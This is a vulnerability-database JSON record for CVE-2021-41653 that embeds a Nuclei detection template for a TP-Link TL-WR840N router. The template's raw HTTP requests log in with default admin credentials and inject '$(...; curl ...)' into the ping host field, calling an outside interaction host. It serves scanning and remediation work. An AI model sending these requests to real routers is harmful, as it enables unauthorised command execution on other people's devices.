{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2021-41653/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2021-41653/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2021-41653/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2021-41653/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2021-41653/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2021-41653"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2021-41653"
    }
  },
  "enrichments": {
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2021/CVE-2021-41653.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2021-41653\n\ninfo:\n  name: TP-Link - OS Command Injection\n  author: gy741\n  severity: critical\n  description: The PING function on the TP-Link TL-WR840N EU v5 router with firmware through TL-WR840N(EU)_V5_171211 is vulnerable to remote code execution via a specially crafted payload in an IP address input field.\n  impact: |\n    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire network.\n  remediation: Upgrade the firmware to at least version \"TL-WR840N(EU)_V5_211109\".\n  reference:\n    - https://k4m1ll0.com/cve-2021-41653.html\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-41653\n    - https://www.tp-link.com/us/press/security-advisory/\n    - http://tp-link.com\n    - https://github.com/ARPSyndicate/cvemon\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2021-41653\n    cwe-id: CWE-94\n    epss-score: 0.76045\n    epss-percentile: 0.99516\n    cpe: cpe:2.3:o:tp-link:tl-wr840n_firmware:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 2\n    vendor: tp-link\n    product: tl-wr840n_firmware\n  tags: cve2021,cve,tplink,rce,router,tp-link,vkev,vuln\nvariables:\n  useragent: '{{rand_base(6)}}'\n\nhttp:\n  - raw:\n      - |\n        POST /cgi?2 HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: text/plain\n        Referer: http://{{Hostname}}/mainFrame.htm\n        Cookie: Authorization=Basic YWRtaW46YWRtaW4=\n\n        [IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6\n        dataBlockSize=64\n        timeout=1\n        numberOfRepetitions=4\n        host=$(echo 127.0.0.1; curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}')\n        X_TP_ConnName=ewan_ipoe_d\n        diagnosticsState=Requested\n      - |\n        POST /cgi?7 HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: text/plain\n        Referer: http://{{Hostname}}/mainFrame.htm\n        Cookie: Authorization=Basic YWRtaW46YWRtaW4=\n\n        [ACT_OP_IPPING#0,0,0,0,0,0#0,0,0,0,0,0]0,0\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol # Confirms the HTTP Interaction\n        words:\n          - \"http\"\n\n      - type: word\n        part: interactsh_request\n        words:\n          - \"User-Agent: {{useragent}}\"\n# digest: 4b0a00483046022100f744b67af8814f401283a0fa746ae91b1a650049c285a6c63fc02673c658e292022100ae00970c2226c2814defbdadce26be3d09e68bc6b147551c3b421029f977c54a:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2021-41653"
}